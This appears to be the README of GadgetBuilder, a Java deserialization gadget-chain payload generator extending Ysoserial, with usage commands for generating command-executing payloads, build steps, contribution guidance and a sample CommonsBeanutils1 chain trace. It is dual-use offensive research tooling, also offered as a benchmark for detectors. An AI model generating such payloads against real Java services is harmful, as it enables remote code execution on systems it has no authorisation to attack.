A new Java Deserialization Gadget Chain payload generator. GadgetBuilder is an overhaul of Ysoserial with:
- A new developer-friendly API
- New gadget chains which have been discovered since Ysoserial's last update in 2020
- A construction approach to create gadget chains from a Trampoline Gadget + Main Gadget Chain + Sink Method Adapters. This leads to more chain varieties and fosters code reuse for further gadget chain additions.
For more information, we refer to the reference publication.
- Usage
- Build Instructions
- Contributing
- Using GadgetBuilder as a gadget chain benchmark for gc detectors
- Referencing this Work
- Troubleshooting and FAQs
Get the latest gadgetbuilder version from the releases page.
java -jar gadgetbuilder.jar --help
# list all available gadget chains and trampolines
java -jar gadgetbuilder.jar -l
# get detailed information about a single chain
java -jar gadgetbuilder.jar -g <chainName> --help
If you are overwhelmed by the fragment construction (trampoline + chain + sinkadapter), do not worry! We set default values (here) for trampolines and adapters, so you can run without configuring those to start with.
java -jar gadgetbuilder.jar -g <chainName> -c <command>
java -jar gadgetbuilder.jar -g Clojure1 -c "touch proof.txt" --b64
# run with the --test option to see if the payload executes on your machine
java -jar gadgetbuilder.jar -g Clojure1 -c "touch proof.txt" --test
--b64
: output serialized payload in base64-o <fileName>
: write binary output into file
Make sure you are using JDK 8 for building. If you want to very sure - we used JDK8u381.
# set JAVA_HOME env variable if necessary. Points to the home dir, not the java binary.
export JAVA_HOME=/path/to/JDK_8
mvn clean package
# Build target: ./gadgetbuilder-client/target/<gadgetbuilder-version>-jar-with-dependencies.jar
# Don't worry if the build for the testapp fails - it was there for experimentation purposes. You can build it separately
export JAVA_HOME=/path/to/JDK_9
mvn clean package --projects testapp
In general, same as Ysoserial:
- Fork it
- Create your feature branch (
git checkout -b my-new-gadgetchain
) - Commit your changes (
git commit -am 'Add gadget chain'
) - Push to the branch (
git push origin my-new-gadgetchain
) - Create new Pull Request
Create a new class extending GadgetChain<Trampoline>
, MethodInvokeGadgetChain<Trampoline,MethodInvokeAdapter>
or InstantiateGadgetChain<Trampoline,InitializeAdapter>
in the main chains1 module if:
- it creates no dependency conflict with any of the other gadget chains in the module.
- it is a gadget chain to a more recent dependency version. In this case rotate the old gadget chains to the legacy module chains2 or if needed further down to chains3 (create modules as necessary).
Otherwise add it to the legacy modules. For implementation examples, check out the following gadget chains:
- A gadget chain with no trampoline: C3P0 - notice the usage of
GadgetBuilder<NoTrampoline>
- A gadget chain using a trampoline: Beanshell1 - notice the return value
TrampolineConnector
. Supply parameters to the trampoline connector according to the trampoline method call, e.g.:toString()
: the trampoline only needs to know on which object toString needs to be invoked, soreturn new TrampolineConnector(payload)
Comparator.compare(Object a, Object b)
:return new TrampolineConnector(comparator, a, b)
.
- A gadget chain with a MethodInvokeAdapter: CommonsBeanutils1 - use
MethodInvokeGadgetChain<CompareTrampoline, GetterMethodInvokeAdapter>
if the invocation target can only be an arbitrary getter, otherwiseMethodInvokeGadgetChain<CompareTrampoline, MethodInvokeAdapter>
- A gadget chain with an InstantiateAdapter (constructor sink): CommonsCollections3
In general, we would consider a trampoline any sub-gadget-chain leading to a highly polymorphic method call within the Java Class Library. For instance: Object.hashCode
, Object.toString
or Map.get
. The main trampoline types are defined in the gadgetbuilder-api, here. If a trampoline you discovered does not relate to any of the trampoline types defined in the API, you can add the new trampoline type to the API as part of the pull request. E.g., you find a trampoline path to Runnable.run
, first add the interface RunnableTrampoline
in the noparam directory.
Then, add the trampoline implementation in the gadgetbuilder-impl module. Check out the examples in the packages. Try to write the trampolines such that upon wrapping the payload object for the main gadget chain, they do not invoke that chain. This is often achieved using Java Reflection after the trampoline gadget was constructed, to add the payload to the respective properties.
This is mostly analogous to contributing trampolines. If the adapter type does not exist in the API, add it there. Then place the new sink adapter implementation in the impl module in the adapters package
In line with Ysoserial, we list the dependencies for which the gadget chains are know to exist with the @Dependencies
annotation. The respective gadget chains are in the chain release modules gadgetbuilder-chains<x>/src/main/java/org/ses/gadgetbuilder/chains<x>
, for instance:
The chains come with a getStackTrace()
method, showing the gadget chain one would to confirm from the gc detector output. You can also get all this information from the CLI with:
# Example gadget chain
java -jar gadgetbuilder.jar -g CommonsBeanutils1 -h
Name: CommonsBeanutils1
Dependencies: [commons-beanutils:commons-beanutils:1.11.0]
Authors: [frohoff, k4n5ha0]
Impact: Method.invoke()
Trampoline Type: CompareTrampoline
Available Trampolines: CC4Compare,ConcurrentSkipListMapCompare,PriorityQueueCompare
Variation count: 12
Adapter: GetterMethodInvokeAdapter
Available Adapters: JdbcRowSetMethodInvokeAdapter,PostgresqlMethodInvokeAdapter,TemplatesImplMethodInvokeAdapter,URLMethodInvokeAdapter
Usage Example: java -jar gadgetbuilder.jar -g CommonsBeanutils1 -c "Command format depends on sink adapter" -t CC4Compare -a JdbcRowSetMethodInvokeAdapter
Chain:
------------------
org.apache.commons.beanutils.BeanComparator.compare()
org.apache.commons.beanutils.PropertyUtils.getProperty()
org.apache.commons.beanutils.PropertyUtilsBean.getProperty()
org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty()
org.apache.commons.beanutils.PropertyUtilsBean.getSimpleProperty()
org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod()
java.lang.reflect.Method.invoke()
------------------
Credit where credit is due: we insist on referencing this work in combination with the original Ysoserial repository.
@article{frohoffysoserial,
title={ysoserial--A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization, 2016},
author={Frohoff, Chris and Lawrence, G},
url={URL: https://github.com/frohoff/ysoserial}
}
Frohoff, C., & Lawrence, G. ysoserial–A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization, 2016. URL: https://github.com/frohoff/ysoserial.
TODO
TODO
- New Exploit Technique In Java Deserialization Attack: JXPath, Clojure2, HTMLParser
- Bofei Chen: Vaadin2, Groovy2, Hibernate2 and UIDeafultsToStringTrampoline
- Ben Lincoln: MozillaRhino3, Jython2, Jython3
- new-gadgets: Scala1, Scala2, Atomikos, SpringJTA, CommonsCollections8, Ceylon, (CommonsBeanutils without CC dependency)
- Wildfly Pull request: Wildfly1
- Alternatives to TemplatesImpl gadget
This is because since JDK 16, Java strongly encapsulates its internals as a part of project JigSaw. You can either run gadgetbuilder with an older JDK (e.g., 8, 11) or refer to the original Ysoserial issue.
An easy workaround is to create an environment variable with all add-opens:
export ADDOPENS="--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.management/javax.management=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xpath.internal.objects=ALL-UNNAMED --add-opens=java.sql.rowset/com.sun.rowset=ALL-UNNAMED --add-opens=java.base/java.net=ALL-UNNAMED --add-opens=java.base/sun.reflect.annotation=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport.tcp=ALL-UNNAMED"
which you can then use in all further executions:
java $ADDOPENS -jar gadgetbuilder.jar <...>